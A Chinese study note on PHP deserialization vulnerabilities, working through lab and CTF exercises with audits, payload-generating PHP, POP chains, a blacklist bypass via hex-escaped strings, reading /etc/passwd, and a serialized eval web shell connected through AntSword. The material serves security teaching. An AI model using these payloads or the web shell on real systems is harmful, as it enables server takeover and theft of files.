反序列化漏洞
反序列化漏洞就是攻击者通过伪造恶意的序列化数据,利用程序自动"还原对象"的机制,诱导服务器执行非预期的恶意指令或代码
产生原因
用户可以通过 HTTP、或其他网络协议向服务器发送任意的序列化字符串或字节码,服务器未经严格验证就进行了反序列化
危害
反序列化漏洞的核心危害
- 远程代码执行 (RCE) :这是最严重的后果。攻击者可以像在自己电脑上操作一样,在你的服务器上运行任何命令(如
rm -rf删除数据,或植入木马)。 - 权限提升 :攻击者可以修改序列化数据中的用户属性(如将
is_admin: 0改为1),从而获得管理员权限。 - 敏感信息泄露:利用漏洞读取服务器上的配置文件、数据库密码或源代码。
- 拒绝服务攻击 (DoS) :通过构造消耗大量内存或 CPU 资源的恶意对象,导致服务器卡死或崩溃。
- 内网渗透 :以该服务器为跳板,攻击公司内网中的其他设备(结合你之前问的 C段查询,攻击者拿下反序列化漏洞后,通常下一步就是扫 C 段)
利用
2-1.php/2-2.php
kls07.serialize.colanse.website/2-1.php
审计
用户传入的POST参数test,没有经过任何过滤,直接被 unserialize 反序列化,故存在反序列化漏洞,攻击者需要传入序列化字符串

编写payload
- 复制代码到新的 php 文件中
- 删除类之外的所有代码
- 改写属性值为预期内容
- 删除和属性无关的方法
- 实例化对象,输出序列化字符串
php
<?php
class A
{
var $test = "phpinfo();";
}
$obj = new A;
echo serialize($obj);
运行payload,得到序列化字符串
php -f payload.php

攻击反序列化漏洞

2-2-CTF题目练习
审计

绕过前期限制
限制: txt 必须是从文件读取的结果为 welcome to the bugkuctf
绕过:php://input

编写反序列化 payload
访问 hint.php ,复制代码,编写payload
php
<?php
class Flag{
public $file = "flag.php";
}
$obj = new Flag();
echo serialize($obj);
?>

攻击反序列化漏洞

2-3.php
审计

编写payload
php
<?php
class Test
{
var $test = "<?php @eval($_POST['xiaohe']); ?>";
}
$obj = new Test();
echo serialize($obj);

攻击反序列化漏洞
去蚁剑测试连接,因为我写的是eval
kls07.serialize.colanse.website/2-3/flag.ph...

pop链
攻击者通过控制对象的属性,将程序中现有的多个代码片段(Gadgets)像接龙一样串联起来,最终形成的一条攻击路径
面向属性编程:危险函数不在魔术方法中,需要构造层层递进的利用链
拓展:代码审计的技巧
source -> sink 正常代码审计(正向审计),找输入点,看输入点是否能够连接到危险函数
sink -> source 反向代码审计,找危险函数,看危险函数是否能够连接到输入点

pop链-示例1
审计
确定目标:我要执行 eval,也就是 evil 类的 action 方法
问题1: 谁会执行 evil 类的 action 方法呢?
回答1:main类的 __destruct 方法能够执行 action 方法,前提是 $this->ClassObj 需要是 evil 类的对象
问题2:谁会执行 __destruct 方法呢?
回答2:反序列化自动执行
pop链如下:
eval -> evil.action -> main.destruct -> unserialize

编写payload
php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
$obj = new main();
echo urlencode(serialize($obj));
?>
因为修改了 protected 和 private 属性,故必须要URL编码,否则无法显示 0x00

攻击反序列化漏洞

pop链-示例2
审计
- 反序列化时自动触发 destruct , destuct 把对象字符串输出,又触发了 toString , toString 里有 file_get_contents 存在任意文件读取漏洞
- 反序列化时自动触发 wakeup ,wakeup 中写了过滤,无论如何name的值只能是 /etc/hostname 或 /etc/passwd
php
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
?>
编写payload
- 无论如何name的值只能是 /etc/hostname 或 /etc/passwd,怎么读取其他文件呢?
解决方案:浅拷贝,name没办法变动了,就让 user 和 name 建立浅拷贝关系,user变了,name 会同步变化
php
class MyFile {
public $name = "";
public $user = "";
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
$obj = new MyFile();
// user 和 name 属性建立浅拷贝关系,user变更时,name也会跟着改变
$obj->name = &$obj->user;
echo serialize($obj);
?>

攻击反序列化漏洞

被拦截!序列化中出现了 user 字符,被黑名单拦截
如何绕过:大S 16进制,如果 s 变成 S,值即可使用16进制表示
原本的payload
O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}
把s改为S:
O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"user";R:2;}
把user中的u变为16进制 \75
O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"\75ser";R:2;}

任意文件读取
GET参数 user 实现任意文件读取
代码中任意文件读取是读取 name 而不是user,但是因为 name 和 user 建立了浅拷贝的关系,所以改动user,等价于改动了 name
file_get_contents($this->name);
例如查看域名

pop链-示例3
审计
php
<?php
highlight_file(__FILE__);
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
system($_GET['cmd']);
}
}
$a = $_GET['string'];
unserialize($a);
?>
- 目标:RCE漏洞
- 问题1:谁会调用GetFlag类的 get_flag 方法? 回答1:在 string1 类中 如果 $this->str1 是GetFlag的对象,就会调用get_flag方法
- 问题2:谁会调用string1 类的 __toString 方法? 回答2:如果func类的 $this->mod1 是string1的对象,就会调用 __toString方法
- 问题3:谁会调用func类的 __invoke 方法? 回答3:如果funct类的 $this->mod1 是func的对象,就会调用 __invoke 方法
- 问题4:谁会调用funct类的 __call 方法? 回答4:如果 Call 类的$this->mod1 是funct的对象,就会调用 __call 方法
- 问题5:谁会调用Call类的 test1 方法? 回答5:如果start_gg类的 $this->mod1 是Call的对象,就会调用 test1 方法
- 问题6:谁会调用startgg类的 _destruct 方法? 回答6:反序列化自动触发
编写payload
php
<?php
highlight_file(__FILE__);
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag
{}
$obj = new start_gg();
echo urlencode(serialize($obj));
?>

攻击反序列化漏洞
可以查看id cmd=id

也可以看/etc/passwd cat /etc/passwd

